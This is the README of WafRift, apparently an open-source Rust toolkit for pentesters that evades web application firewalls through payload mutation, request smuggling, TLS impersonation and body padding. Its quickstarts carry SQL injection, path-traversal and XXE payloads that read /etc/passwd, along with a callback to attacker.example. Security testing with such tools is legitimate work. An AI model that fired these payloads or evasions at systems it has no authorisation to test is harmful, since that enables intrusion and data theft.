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WAF evasion testing toolkit. Grammar + encoding mutation, dialect-specific bypasses, evolutionary search, per-WAF gene-bank persistence. Rust.

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# WafRift

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Part of [Santh](https://santh.dev) - open source Rust security and infrastructure tooling. Follow [@SanthProject](https://x.com/SanthProject) on X.

![WafRift Demo](https://raw.githubusercontent.com/santhreal/wafrift/main/wafrift-demo.gif)

> Part of the [Santh](https://santh.dev) security research ecosystem.

**A programmable WAF-evasion engine.** Encoding × grammar-aware mutation × HTTP smuggling × content-type confusion × TLS fingerprint rotation — every layer addressable, every winning combination cached. Point it at a WAF and an evolutionary loop (hill-climb / SA / tabu / novelty / MAP-Elites) discovers what bypasses that exact stack, then persists the winners to a per-WAF gene bank so the next scan starts with zero discovery.

> **Status: BETA.** Local stacks under [`wafrift-bench/`](./wafrift-bench/) (ModSec PL1–4, Coraza, BunkerWeb, naxsi) are exercised in CI. Cloud-WAF coverage (Cloudflare, AWS WAF, Akamai, Imperva, F5) is still sparse; treat those results as preliminary. PRs welcome — open against [github.com/santhreal/wafrift](https://github.com/santhreal/wafrift). Full version history in [CHANGELOG.md](CHANGELOG.md).

## What's in the box

- **`wafrift evade`** — offline payload mutator. Pipe a payload in, get N bypass variants out. Every encoding strategy and grammar dialect is addressable as a path (`encoding/url/triple`, `grammar/sql/tautology`) for `--only` / `--exclude`.
- **`wafrift scan`** — fire variants at a live target, classify each response with a multi-signal oracle (block / bypass / challenge / rate-limit), respect server `Retry-After`, surface winning chains. JSON reports a blunt **`waf_bypass`** object: `waf_in_play`, `bypass_confirmed`, `verdict` (`bypass_confirmed` | `waf_active_no_bypass` | `waf_not_in_play`). Exit codes: **0** = WAF bypass confirmed, **4** = WAF fought back but no variant won, **6** = no WAF on this param (not a bypass measurement). **`--auto-escalate`** (default on) harvests forms/API paths and pivots to guarded surfaces before the main evasion loop; **`--no-auto-escalate`** scans only the CLI URL/param. Legacy `bypass_rate_pct` is `null` when `waf_in_play` is false. `--session-init <CURL_FILE>` runs an auth-phase request first and replays the resulting cookies on every variant — the **stateful chain mode** real exploits use. `--callback-url URL` substitutes `{{CALLBACK}}` in the payload with a per-variant token to verify blind/stored vulns at a `wafrift listener`. `--payload-class CLASS` warm-starts the per-class gene-bank winners. **`--differential-baseline`** (global; also applies to `bench-waf` / `hunt`) credits a payload as a bypass *only* when the un-evaded base is blocked in the same delivery — so a payload the WAF never policed (returns 200 because no rule matches it) is not mis-counted as an evasion. Off by default (the headline metric is unchanged); costs ~one extra probe per delivery arm.
- **`wafrift detect`** — fingerprint the WAF / CDN / origin on four independent axes that each survive when the layer above is stripped: HTTP response headers + body (160+ vendor rules), DNS CNAME chain resolution (37 vendor rules), reverse-DNS (PTR) on the leaf IP, and BGP origin-ASN lookup via cymru's DNS service.  Multi-vendor chains surface every layer — nytimes.com gets Envoy + Fastly, eBay's CNAME chain reveals Akamai under their custom proxy banner, Stripe's `Server: nginx` is finally outed as AWS-hosted via the ASN axis.  See [CHANGELOG.md](CHANGELOG.md) for the detection catalog.
- **`wafrift discover`** — parse OpenAPI / GraphQL introspection / parameter-mine a single endpoint into a deduplicated `DiscoveredEndpoint` list with `ParameterLocation` + `InjectionContext` — feed straight into `scan`.
- **`wafrift bypass-probe`** — Tsai-class differential auth/path/method bypass scanner. 230 auth-bypass header probes (incl. gateway-injected-identity headers: Cloudflare Access, GCP IAP, AWS ALB OIDC, Azure Easy Auth, Authentik, oauth2-proxy, Traefik forwardAuth, Grafana — and header-smuggling-via-LWS variants), full path-routing-disagreement family, method overrides. Sorted divergence report with reproduce-it `curl` commands.
- **`wafrift attack`** — end-to-end parser-disagreement orchestrator. One call, every parser-disagreement seam surfaced: URL-path, headers, request body, query-string, cache-key, HTTP/1.1-vs-HTTP/2, HTTP-method variants. Runs the seven individual sub-probes (`parser-diff`, `header-diff`, `body-diff`, `query-diff`, `cache-diff`, `h2-diff`, `method-diff`) concurrently and merges into one structured report. See `wafrift --help` for the individual sub-commands; [CHANGELOG.md](CHANGELOG.md) describes each probe family.
- **`wafrift distill`** — adversarial distillation via Zeller's ddmin. Take a KNOWN-working bypass payload, find the minimum-edit-distance subset that STILL bypasses **and is still a working attack** — every reduction is gated by the matching semantic oracle (`--class`, auto-detected), so the minimal form can't collapse into a benign byte that merely passes the filter. The local attack check runs before each HTTP fire, so dead candidates cost zero requests. Shorter, still-firing payloads ship cleaner reports.
- **`wafrift compress`** — wrap a request body in `Content-Encoding: gzip` / `deflate` / `br` (or chain them). Compression-confusion attack: most WAFs inspect raw bytes; brotli especially is widely unsupported in WAF decompressors while every modern origin handles it. Operator pipes a body in, gets compressed bytes + the matching header out.
- **`wafrift listener`** — OOB callback receiver. Pre-mints 128-bit base32 tokens; any inbound HTTP request containing a token is logged. The oracle for blind SQLi (time-based), stored XSS, blind SSRF, OOB cmdi — vuln classes that never echo a verdict on the same response.
- **`wafrift legendary`** — one-shot demo command. Runs detect → fingerprint → bypass-probe (and optionally scan with **auto-escalate** + `waf_bypass` verdict) against a single target, stitches the results into one polished markdown writeup. The executive summary leads with the scan headline (`WAF BYPASS CONFIRMED` / `NO WAF ON THIS PARAM` / `WAF IN PLAY — no bypass`). The fastest way to show what wafrift does.
- **`wafrift-proxy`** — forward HTTP proxy. Chain Burp / Caido / mitmproxy → wafrift-proxy → target; wafrift applies evasion at the upstream forward and records bypasses to its gene bank. MITM mode + TLS impersonation (Chrome / Firefox / Safari ClientHellos, with **header-order coherence** so the wire matches the chosen browser end-to-end) + per-host adaptive rotation + live TUI dashboard.
- **`wafrift replay`** — deterministic re-fire of a known-good bypass against any target. Exits 0 on bypass, 2 on block.

Built so each crate is usable standalone: [`wafrift-encoding`](https://docs.rs/wafrift-encoding), [`wafrift-grammar`](https://docs.rs/wafrift-grammar), [`wafrift-detect`](https://docs.rs/wafrift-detect), [`wafrift-smuggling`](https://docs.rs/wafrift-smuggling), [`wafrift-evolution`](https://docs.rs/wafrift-evolution), [`wafrift-oracle`](https://docs.rs/wafrift-oracle), [`wafrift-strategy`](https://docs.rs/wafrift-strategy). No façade required.

## Subcommand reference

| Subcommand | Family | One-line role |
|---|---|---|
| `evade` | Offline mutation | Transform a payload with encoding + grammar strategies; no target required |
| `scan` | Scan | Fire evasion variants at a live target; report bypass chains |
| `client-deliver` | XSS delivery | Emit the **WAF-blind client-side** delivery plan for an XSS payload — the `location.hash` / `window.name` / `postMessage` / `localStorage` / `sessionStorage` / client-route channels whose taint source never reaches the server, so no WAF/CDN inspects them (the lane modern reflected-XSS bypasses live in). Sends nothing: prints a copy-pasteable browser-delivery plan (each channel → its scald `dom.rs` taint source + the exact navigate / set-state action), including the `javascript:` sanitizer-prefix-bypass variants (Paddle `substring(0,11)` class). `--format json` emits `wafrift.client_deliver.v1` for scald to confirm DOM execution — never a server verdict. |
| `sanitizer-decompile` | XSS delivery | Decompile a **client-side HTML sanitizer** — the DOM-XSS dual of `fingerprint`. Recovers the sanitizer source from a JS source map (`--source-map`, reads embedded `sourcesContent`) or raw JS (`--js`), extracts its allow/deny model (DOMPurify `FORBID_TAGS`/`ALLOWED_TAGS`, `sanitize-html` allowlist, `js-xss` whitelist, hand-rolled `replace()` strips, handler/scheme blocking), then drives the **same L\*/SFA decompiler** over a model oracle to mine the XSS vectors that survive it. Every reported bypass is re-verified against the extracted model (CEGIS soundness gate) and flagged for live scald DOM confirmation — proposed, never asserted executed. It also emits **`mxss_candidates`**: reachable mutation-XSS trigger pairs (`<svg><style>`, `<math><mtext>`, foreign-content / MathML / `<noscript>` parsing differentials) the in-model executability check *cannot* prove — the frontier DOMPurify bypass class — drawn from a Tier-B table (`rules/mxss_combinations.toml`) and likewise flagged for live-DOM confirmation. Exit 0 = a bypass survives, 4 = sanitizer modeled but model-proven safe, 6 = no sanitizer recognised. `--format json` → `wafrift.sanitizer_decompile.v1`. |
| `detect` | Recon | Fingerprint WAF/CDN/origin (HTTP headers, DNS CNAME, reverse-DNS, BGP ASN) |
| `discover` | Recon | Parse OpenAPI / GraphQL introspection / mine parameters into injection points |
| `recon` | Recon | Origin discovery via CT logs (crt.sh) + DNS history |
| `origin-hints` | Recon | DNS hints for origin-bypass (authorized targets only) |
| `probe` | Recon | Generate differential analysis probes |
| `bypass-probe` | Scan | 230 auth-bypass header probes + path/method variants (Tsai-class) |
| `diff <kind>` | Differential | **Unified differential surface** — one verb for every parser-disagreement probe (replaces 11 `*-diff` commands + `attack`). Kinds: `path` (URL-path shape), `header` (dup-header / XFF spoof / LWS), `body` (JSON dup-key, UTF-7, BOM, multipart collision), `query` (HPP, bracket, semicolon), `cache` (cache-key confusion / poisoning), `h2` (HTTP/1.1-vs-HTTP/2), `method` (WebDAV / lowercase / H2 preface), `gql` (alias bomb, op-name spoof, introspection), `jwt` (alg:none, kid injection, role elevation), `cors` (10 origin-validation pitfalls), `trailer` (chunked-trailer injection), `ja3` (TLS-fingerprint differential, needs `--features tls-impersonate`), and `all` (the seven path/header/body/query/cache/h2/method probes concurrently — NOT gql/jwt/cors/trailer; run those individually). The flat `<kind>-diff` names and `attack` keep working as deprecated aliases. |
| `smuggle` | Smuggling | HTTP request smuggling CLI. Variant families include: detect-cl-te, detect-te-cl, cl-te, te-cl, te-te, cl-0, dual-cl, multi-cl, chunk-ext-lone-lf, rapid-reset, made-you-reset, settings-storm, method-body, http10-persistence, http09-downgrade, cl-obfuscation, chunk-size-mutation, plus the Kettle BH-USA-2025 "Desync Endgame" family (zero-cl-desync, expect-100-desync, expect-100-obf, cl-0-via-expect, double-desync, vh-masked-host, malformed-host-split, chunk-ext-keyval) — 25 variants total (run `wafrift smuggle list` for the authoritative set). |
| `smuggle-emit` | Smuggling | Emit every wafrift smuggle probe as JSON (one per line) across 11 families — cookie, auth, range, path (URL-normalization differentials), host (vhost-routing differentials), jwt (validation-pipeline differentials), content-type (multipart), json (parser differentials), HTTP/3 capsule, QUIC datagram, WebSocket compression. Pipe to `jq` / Burp / `xargs curl`. `--family <prefix>` filters; `--kind headers\|body\|frames` filters by artifact shape; `--canary-header NAME` attaches OOB instrumentation; exit 2 when zero match. |
| `smuggle-cross-product` | Smuggling | Emit the cartesian product of two smuggle-probe families as composed JSON artifacts. `--lhs cookie --rhs auth` produces one merged artifact per cookie × auth probe pair, carrying both wire shapes — surfaces bypass-chain interactions no single technique produces. `--canary-header NAME` propagates canary tags through the chain for OOB attribution. `--cap N` bounds output (default 64). `--fire-target URL` fires the composed chain at a live target and reports `ComposedFireReport`s with `bypass_signal` per chain. |
| `smuggle-stats` | Smuggling | Operator probe-budget snapshot. JSON breakdown of probe count per family, per artifact kind, total wire-byte budget, and largest probe. `--family X` drills into one family. Pipe to `jq` for CI gates or shell vars before firing a scan against a rate-limited target. |
| `smuggle-chain` | Smuggling | N-way smuggle-probe composition. Takes 2+ `--family <NAME>` flags and emits the cartesian product of probes across all N families as composed JSON artifacts. The N-way generalization of `smuggle-cross-product`. Bound output size with `--cap N` (default 64); exit 2 when any family matches zero probes. `--fire-target URL` fires each N-way chain at a live target. |
| `smuggle-fire` | Smuggling | Fire every smuggle probe at a live target — the end-to-end execution pipeline. Converts probe artifacts to real HTTP requests via reqwest, captures status/body-length/latency, and reports a `bypass_signal` vs a baseline request (`canary-reflected` / `none` / `status-diverged` / `body-diverged` / `both-diverged`). With `--canary-header NAME`, the response headers and body are scanned for the probe's canary token — a verbatim echo (e.g. into `Location`, `Set-Cookie`, a debug echo header, or the body) yields `canary-reflected` (strongest, false-positive-free signal) and lists the token in `reflected_canaries`. Per-probe JSON on stdout, end-of-run summary on stderr. Requires `--i-have-permission <REASON>` for non-allowlisted hosts. Frame-artifact probes (capsule / quic-datagram / compression) are skipped — they live below the HTTP layer. |
| `tcp-overlap` | Smuggling | Below-HTTP **TCP segment-overlap desync**: emit two overlapping TCP segments at the same sequence number so a WAF and an origin that resolve the overlap by *different* reassembly policies see different streams — the WAF inspects `--benign`, the origin executes `--attack`. Enumerates every disagreeing policy pair (`first`/`last`/`strict`-favouring) or targets one with `--waf-policy`/`--origin-policy`. Every emitted plan is **self-verified** in-crate (simulating the WAF policy must yield benign, the origin policy must yield attack) — a guard rejects the trivial benign==attack case, so a green result is a genuine split, not a tautology. `--benign`/`--attack` must be equal length for a clean full overlap (else exit 4). `--format json` → `wafrift.tcp_overlap.v1` with per-segment `seq`/`bytes`; deliver with a raw-socket sender. |
| `compress` | Mutation | Wrap a body in gzip / deflate / brotli chains |
| `distill` | Analysis | Adversarial ddmin — find the minimal bypass payload (Zeller) |
| `tmin` | Analysis | Corpus minimizer (afl-tmin alias for `distill`) — same ddmin engine, familiar entry point |
| `cluster` | Analysis | Offline bypass clustering: group a `bench-waf` result by rule, class, and edit-distance |
| `model-evade` | Advanced | L*-active-learning WAF decompiler + offline SFA bypass mining. Supports egress rotation (`--socks5`, `--http-proxy`, `--tailscale-exit-node`) for IP-reputation evasion during the L* membership-query phase |
| `audit` | Defender | X-ray a CRS ruleset; report bypassable holes |
| `harden` | Defender | Synthesize closure rules; proves zero benign false positives |
| `fingerprint` | Advanced | Live origin-normalization decompiler: probes a target by reflection to detect which decode/normalize stages its origin applies (url/base64/hex/overlong-UTF8/NUL-strip/NFKC/best-fit), then with `--attack` solves a TARGETED bypass against that exact pipeline and re-verifies it against the live target (no fabrication). Add `--characterize-filter` to differentially probe *which* attack tokens the WAF actually policies (each dangerous token paired with a signature-broken benign twin) — telling you which tokens must be encoded vs. which reach the sink in plaintext, plus the per-token decode-gaps (which encodings the WAF fails to decode). The probe battery is Tier-B data; override it with `--filter-battery <file.toml>`. For a rate-limited target, `--filter-budget N` caps the probe count and spends it on the highest-**information-gain** tokens first (Beta-Bernoulli entropy), warm-started across runs from `--filter-history <file.json>` (same scheduler as `bench-waf --history-file`) so repeated assessments converge the budget onto the genuinely-uncertain tokens instead of re-confirming what a prior run already pinned. The live block/pass oracle is **self-calibrating** (learns this target's block signal from benign/malicious controls), **content-aware** (catches a block served with HTTP 200 — override the signatures with `--block-signatures <file.toml>`), and **rate-limit-aware** (429/503 are retried with backoff, never counted as a false block). Requires `--permission <REASON>` for non-RFC1918 hosts |
| `replay` | Utility | Deterministic re-fire of a saved bypass (exits 0 bypass / 2 block) |
| `import-curl` | Utility | Parse a Burp "Copy as cURL" capture and run scan against it |
| `bank` | Utility | Gene-bank management: list / export / import / sign / trust / pull / submit |
| `seed` | Utility | Pre-load a gene-bank with known-working techniques |
| `report` | Utility | Generate a markdown pentest writeup from the proxy gene-bank |
| `legendary` | Demo | One-shot: detect + fingerprint + bypass-probe + polished markdown report |
| `listener` | OOB | Callback receiver for blind SQLi / stored XSS / SSRF / OOB cmdi |
| `sarif` | Output | Emit SARIF 2.1.0 from a `bench-waf` or `scan` JSON output (GitHub Code Scanning, Azure DevOps) |
| `corpus` | Output | Inspect a `bench-waf --corpus-out` artifact: stats, coverage, rule breakdown |
| `egress-example` | Output | Print JSON egress preset snippets (e.g. Tor SOCKS5) for copy-paste into config |
| `techniques` | Meta | List / explain `--only`/`--exclude` technique selectors |
| `init` | Meta | Scaffold a `.wafrift.toml` in the current directory |
| `completion` | Meta | Generate shell completions (bash / zsh / fish / PowerShell) |
| `man` | Meta | Generate troff man page |
| `bench-waf` | Bench | Measure raw WAF block rate + wafrift bypass rate against a corpus. `--budget N` schedules the most informative payloads first (binary Shannon entropy of block probability), `--history-file` warm-starts across runs, `--fair-class` enforces per-class fairness. |
| `bench-diff` | Bench | Gate on regression between two `bench-waf` JSON blobs |
| `hunt` | Autonomous | Long-running bypass campaign: repeated `bench-waf` rounds, rotating strategies, resumable by `--campaign-id`. Records every confirmed bypass's winning payload to a per-target corpus under `~/.wafrift`. `--target cumulusfire` for the authorised bounty surface. Never submits. |
| `harvest` | Bounty | Turn a hunt/bench bypass corpus into review-ready HackerOne reports: dedupes, RE-VERIFIES each candidate live (fresh request+response proof), writes one Markdown report per still-working bypass. With the global `--differential-baseline`, each candidate is credited only if the class's **un-evaded** policing probe (Tier-B `rules/policing_probes.toml`) is BLOCKED in the same delivery — proving the WAF actually polices that sink, so a payload reaching an unpoliced endpoint (e.g. CumulusFire returns 200 for a bare `;id`) is dropped as a never-policed false positive rather than reported as a bypass. Never submits. |
| `submit` | Bounty | File a SINGLE reviewed harvest report to HackerOne. Dry-run by default; `--confirm` files that one report. No auto/batch path (bounty-program ban risk); set `H1_API_KEY` + `H1_USERNAME`. |

## Install

```bash
# Prebuilt binaries (recommended)
curl -sSfL https://github.com/santhreal/wafrift/releases/latest/download/wafrift-$(uname -m)-unknown-linux-gnu.tar.gz | tar xz
sudo mv wafrift wafrift-proxy /usr/local/bin/

# From crates.io  (the wafrift-cli crate installs the `wafrift` binary)
cargo install wafrift-cli
cargo install wafrift-cli   --features tls-impersonate     # optional: enables `wafrift ja3-diff` (BoringSSL — Linux/macOS only)
cargo install wafrift-proxy --features tls-impersonate     # optional: BoringSSL impersonation  (Linux/macOS only)
```

**Note**: The `tls-impersonate` feature compiles BoringSSL via cmake.
On Windows you'll need a working cmake + MSVC build toolchain (the
Microsoft C++ Build Tools); `wafrift ja3-diff` and the proxy's
`--tls-impersonate` flag are unavailable on Windows hosts that lack
those build prerequisites. Every other wafrift surface (scan, detect,
attack, parser-diff family, bench-waf, smuggle, listener, ...) works
on Windows out of the box.

macOS: `wafrift-aarch64-apple-darwin.tar.gz`. Windows: `.zip` of the same name. Full asset list under [Releases](https://github.com/santhreal/wafrift/releases). From source: `cargo install --path crates/cli`.

## Quickstart

Pick your workflow: each is copy-paste ready.

### 🏁 CTF: "I have a SQLi but there's a WAF"

```bash
# Get bypass variants instantly (offline, no target needed)
wafrift evade --payload "' OR 1=1--" --level heavy

# Found a WAF? Fire all variants and see what gets through
wafrift scan --target http://ctf.example/vuln --payload "' OR 1=1--"
```

### 🔍 Pentest: "sqlmap/ffuf behind a WAF"

```bash
# Start the evasion proxy (use installed binary; from-source: `cargo run -p wafrift-proxy --`)
wafrift-proxy --listen 127.0.0.1:8080

# Route your tools through it
sqlmap -u "https://target/x?id=1" --proxy="http://127.0.0.1:8080"
ffuf -x http://127.0.0.1:8080 -u https://target/FUZZ -w wordlist.txt

# Check live findings mid-session
curl http://127.0.0.1:8080/_wafrift/findings.md
```

### 🎯 Bug Bounty: "Scan this target, give me a report"

```bash
# Full autonomous scan with JSON output
wafrift scan --target https://target.com --payload "' UNION SELECT 1--" \
  --param id --format json --output results.json

# Generate a markdown writeup from findings
wafrift report --only-host target.com --output writeup.md
```

### 🗺️ Discovery: "I have an OpenAPI spec / GraphQL endpoint, find injection points"

```bash
# Parse an OpenAPI 2.0/3.x JSON spec into structured injection points
wafrift discover --spec api.json --format json --output endpoints.json

# Probe a GraphQL server's introspection schema
wafrift discover --target https://api.example.com/graphql --introspect

# Differential parameter mining against a single endpoint
wafrift discover --target https://app.example.com/search \
  --mine-params --wordlist /path/to/burp-parameter-names.txt

# Combine modes; results are deduplicated by (method, url) and emit
# `DiscoveredEndpoint` JSON suitable for piping into `wafrift scan`.
wafrift discover --spec api.json --target https://app.example.com \
  --introspect --mine-params --wordlist params.txt --format json

# End-to-end pipe: discover → scan via `--from-discovery <FILE|->`.
# Reads each `DiscoveredEndpoint` and fires the named payload against
# its declared (method, url, parameter_location, injection_context).
wafrift discover --spec api.json --format json \
  | wafrift scan --from-discovery - --payload "' OR 1=1--" --level heavy
```

Each injection point carries its `ParameterLocation` (Query / Path /
Header / Cookie / Body), `InjectionContext` (`JsonString` /
`UrlQuery` / `XmlText` / `MultipartField` / etc.) inferred from the
spec's media type, and a `required` flag: letting `wafrift scan`
pick context-aware encodings instead of guessing.

### 🛡️ Stealth: "Cloudflare/Akamai blocks me on JA3 before I can even probe"

```bash
# One-time: build with the BoringSSL impersonation feature.
cargo install wafrift-proxy --features tls-impersonate

# Run the proxy wearing a real Chrome 131 ClientHello on every
# upstream forward. JA3 / JA4 / h2 SETTINGS all match a real browser
# bytes-for-bytes: edge WAFs that classify on TLS fingerprint
# (Cloudflare bot management, Akamai, Sigsci, Imperva Bot Protection)
# see "browser" instead of "rustls" and let the connection through to
# inspection, where wafrift's HTTP-level evasion takes over.
wafrift-proxy --listen 127.0.0.1:8080 --tls-impersonate chrome131

# Profiles: chrome131, chrome120, edge131, firefox133, safari18,
# safari17_5, okhttp5; aliases `chrome`, `firefox`, `safari`, `edge`
# resolve to the latest-of-family. See docs/TLS_PARITY.md.

# Now sqlmap / ffuf / curl through this proxy gets through edge TLS
# fingerprinting without any extra config.
sqlmap -u "https://target.cloudflare-protected.com/x?id=1" --proxy=http://127.0.0.1:8080
```

#### Per-request fingerprint rotation + body padding

Cloud WAFs inspect only the leading bytes of a request body
(Cloudflare Pro 8 KB, AWS WAF 16 KB, Akamai 8 KB): pad past that
window and the rule engine never sees the malicious bytes. Combine
with TLS profile rotation and a fresh TCP source port per request:

```bash
wafrift-proxy --listen 127.0.0.1:8080 \
    --tls-impersonate-rotate chrome131,firefox133,safari18 \
    --body-padding-bytes 16384 \
    --no-conn-reuse \
    --tui
```

- `--tls-impersonate-rotate` round-robins across the listed browser
  profiles. Defeats per-fingerprint rate limits and reputation.
- `--body-padding-bytes 16384` prepends 16 KB of inert filler to every
  JSON / form-urlencoded / multipart body via the new
  `_wafrift_pad` field/part. Cloud WAFs miss the payload; the origin
  parses it correctly.
- `--no-conn-reuse` opens a fresh TCP connection per upstream forward
  (kernel picks a new ephemeral source port each time).
- `--tui` opens a real-time terminal dashboard (per-host bypass rate,
  TLS rotation distribution, padded-body counter, live request stream).
  Press `q` for graceful shutdown, `r` to reset counters.

### 🔴 Red Team: "Persistent evasion against the same WAF"

```bash
# First scan learns what bypasses the WAF in front of target.com
# (wafrift detects the WAF automatically and tags genome by name)
wafrift scan --target https://target.com --payload "' OR 1=1--"

# Subsequent scans against any target behind the same WAF start in
# rotation mode (zero discovery). Genome at ~/.wafrift/genomes/<waf>.json
# persists across sessions.
wafrift scan --target https://other-target-same-waf.com --payload "' OR 1=1--"

# Replay a finding deterministically (exits 0 on bypass, 2 on block).
# --from-waf reads the genome wafrift's detect step identified earlier
# (e.g. "ModSecurity"); --from-host pulls from the proxy gene-bank.
wafrift replay --target https://target.com --param id \
    --payload "' OR 1=1--" --from-waf ModSecurity
```

> Genomes accumulate per-WAF as you scan, but a cold install is **not** cold:
> the first scan against an unseen WAF warm-starts from a bundled *default*
> genome of proven generic techniques — and from a Cloudflare-class default of
> delivery-vector confusions (JSON dup-key / multipart / CBOR / overlong-UTF8)
> when the target is Cloudflare-fronted — instead of discovering from zero.
> What is *not* shipped is any accumulated per-vendor genome or target-specific
> payload (only generic technique-keys + priors). Your scans then specialise
> `~/.wafrift/genomes/<waf>.json`, which persists and is never clobbered by the
> bundled default.

### 🔐 Authenticated app: "scan an admin panel that needs a login first"

The two-phase real-attack pattern. Paste the login request from Burp's
"Copy as cURL" into a file, hand it to `--session-init`, and every
subsequent variant request carries the captured cookies + Authorization:

```bash
# 1. Capture the login curl from Burp / Chromium devtools.
xclip -o > /tmp/login.curl

# 2. Scan the protected endpoint with the established session.
wafrift scan --target https://target.com/admin/users \
    --payload "' OR 1=1--" --param id \
    --session-init /tmp/login.curl
```

Defeats WAFs that scrutinise unauthenticated traffic more (most do).
Re-uses `import-curl`'s curl parser — same syntax you'd hand `wafrift
import-curl --evade`. Cookies are captured from every `Set-Cookie`
the login chain produces (including redirects) AND any `Cookie:` /
`Authorization:` you set in the curl itself. The most-recent cookie
wins on name collision (browser semantics).

### 👁️ Blind / stored vulns: "the payload lands but the response says nothing"

For blind SQLi (time-based), stored XSS, blind SSRF, and OOB command
injection — the response that triggers the vuln NEVER carries the
verdict. Start a `wafrift listener` on infrastructure you control,
embed `{{CALLBACK}}` in the payload, and `wafrift scan` substitutes a
per-variant token. Any inbound hit at the listener with a matching
token = verified bypass.

```bash
# Terminal A: stand up the listener (loopback by default; bind
# 0.0.0.0:9000 for external targets you control).
wafrift listener --bind 0.0.0.0:9000

# Terminal B: scan with the callback substitution.
wafrift scan --target https://target.com/comments \
    --payload '<img src="{{CALLBACK}}/x.png">' --param body \
    --callback-url http://attacker.example:9000
```

Terminal A logs each callback with the matched token; cross-reference
with the per-variant tokens printed by `wafrift scan` to identify
which variant landed.

### 🛠️ Compression-confusion bodies: "the WAF inspects bytes; the origin decompresses"

```bash
# Pipe a payload through gzip + brotli — outermost first per RFC 9110 §8.4.
echo -n "' UNION SELECT username,password FROM users--" \
    | wafrift compress --algo gzip --algo br > /tmp/body.bin
# stderr: Content-Encoding: gzip, br

# Fire with curl: the body bytes are compressed-then-compressed; the
# WAF sees binary noise, the origin (nginx + brotli module) decodes
# both layers and processes the SQLi normally.
curl -X POST https://target.com/api/users \
    -H 'Content-Type: application/json' \
    -H 'Content-Encoding: gzip, br' \
    --data-binary @/tmp/body.bin
```

Brotli is the headline gap: many WAFs ship gzip/deflate decompressors
but no brotli decoder, while origins (Chrome 49+ / nginx 1.11+ /
Apache mod_brotli) all handle it. `wafrift compress --algo br` is
often enough on its own.

### 🔬 Parser disagreements: "find the seam between WAF and origin URL parsers"

```bash
# Fire 16 URL-shape variants (semicolon-strip, backslash-as-separator,
# NUL truncation, double-URL-decode, fullwidth slash, dot-segment,
# percent case, empty-segment collapse, trailing dot) against the
# protected path. A divergence vs the baseline = the WAF and origin
# disagree on what /admin means.
wafrift diff path https://target.com/admin --format json > /tmp/diff.json
```

`wafrift bypass-probe` covers the auth-header / method-override
side; `diff path` covers the URL-shape side. They compose.

### 📰 One-shot writeup: "what does wafrift see end-to-end?"

```bash
# detect -> fingerprint -> bypass-probe -> (scan) -> polished markdown.
wafrift legendary https://target.com --output report.md
# For the deeper sweep: pass --payload to enable the live-scan phase.
wafrift legendary https://target.com --payload "' OR 1=1--" --param id \
    --output report.md
```

The fastest way to show a stakeholder what wafrift does in one command.

### Five common shapes

**1. SQL-injection login bypass.** WAF blocks `' OR 1=1--`; find a variant that lands.

```bash
wafrift scan --target https://target/login \
  --payload "' OR 1=1--" --param username --level heavy
```

**2. SSTI in a server-side template.** Variant of `{{7*7}}` that the WAF allows but the engine still evaluates.

```bash
wafrift scan --target https://target/profile \
  --payload "{{7*7}}" --param name --level heavy --only grammar/ssti,encoding
```

**3. SSRF to internal admin.** Smuggle a `127.0.0.1:9000` request past a WAF that only blacklists string `127.0.0.1`.

```bash
wafrift scan --target https://target/preview \
  --payload "http://127.0.0.1:9000/admin" --param url --level heavy \
  --only encoding,grammar/ssrf
```

**4. Path traversal / LFI.** WAF blocks `../`; find a variant that survives.

```bash
wafrift scan --target https://target/static \
  --payload "../../../etc/passwd" --param file --level heavy \
  --only encoding/url,encoding/unicode,grammar/path
```

**5. XXE in an XML body.** Practitioner has the request body in a file; want to scan with that exact body shape.

```bash
# Copy the request as cURL out of Burp/ZAP, paste through import-curl:
pbpaste | wafrift import-curl --from-stdin \
  --param xmlData --payload '<!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]><foo>&x;</foo>' \
  --level heavy
```

**Saving and replaying findings.** Once a recipe lands a bypass, persist it to the gene-bank so subsequent runs (or teammates) don't re-do discovery:

```bash
wafrift seed --waf modsec-crs --technique EncodingDoubleUrl,GrammarTautology
wafrift bank export --output bundle.json    # share with teammate
wafrift bank import bundle.json             # on teammate's machine
```

**Community genome registry.** Bundles can be signed (ed25519) and pulled from a community registry — the trust list lives at `~/.wafrift/trusted-keys.toml` (per-host publisher allowlist), so an untrusted bundle is rejected on `wafrift bank pull` before it ever lands on disk:

```bash
wafrift bank gen-key                              # writes ~/.wafrift/signing-key.hex (mode 0600); prints public-key hex — share that
wafrift bank sign bundle.json --signing-key ~/.wafrift/signing-key.hex
wafrift bank trust add --pubkey <ed25519-hex> --label "alice@example"
wafrift bank pull https://registry.example/bundles/cloudflare-2026q2.signed.json
wafrift bank submit https://registry.example/upload bundle.signed.json
```

The signing + trust primitives live in the `wafrift-genome-registry` crate; the HTTP pull/submit transport is wired in `wafrift bank pull` / `wafrift bank submit`. There is **no central wafrift-hosted registry** today — operators run their own (a single static-file HTTP server is enough for pull; submit needs a tiny POST endpoint). See `crates/genome-registry/README.md` for the bundle wire format.

Replay any saved finding deterministically:

```bash
wafrift replay --target https://target/login --param username \
  --payload "' OR 1=1--" --from-host target  # exits 0 on bypass, 2 on block
```

## Operator reference

### Exit codes (CI-friendly)

| Code | Meaning |
|------|---------|
| `0`  | Success |
| `1`  | Generic error (IO failure, runtime error) |
| `2`  | Argument / input error (unknown flag, contradictory selectors, malformed value, missing required field, **target not on any permission allowlist**). Also: `bench-waf` "zero bypasses", `replay` "saved bypass blocked", `harvest` missing `--base-url`/`--target`, and `submit` malformed-or-unverified report (incl. `--confirm` on an UNVERIFIED report) — well-established CI overload. |
| `3`  | `bench-diff` regression vs baseline (see `--bypass-drop-pp`) |
| `4`  | **"WAF active but nothing bypassed / nothing achieved"** — the run completed, the WAF was in play, but no variant won. Emitted by `scan` (verdict `waf_active_no_bypass`), `exploit` (no payload executed in a live sink), and `bench-waf` (zero bypasses, or `--validate-only` corpus integrity errors: duplicate id, TOML parse, missing required field). Distinct from `6` (no WAF to bypass) and `0` (something bypassed). |
| `5`  | `scan` aborted — target rate-limited the probes (inconclusive, not "no bypass") |
| `6`  | **"Inconclusive — no clean measurement"**, distinct from `0` (clean run, nothing found). Emitted by `scan` (verdict `waf_not_in_play` / `inconclusive` — the param has no WAF policing it, so a "bypass" is not even measurable) and `diff h2` / `h2-diff` (every H2 probe failed to negotiate on an H1-only target, so the H1↔H2 differential was never measured). CI must NOT read `6` as "no divergence / no bypass"; read it as "could not measure." |
| `7`  | `scan --scan-timeout-secs` wall-clock budget exceeded — partial results emitted (the scan loop broke early; check `truncated_by_scan_timeout: true` in JSON output) |

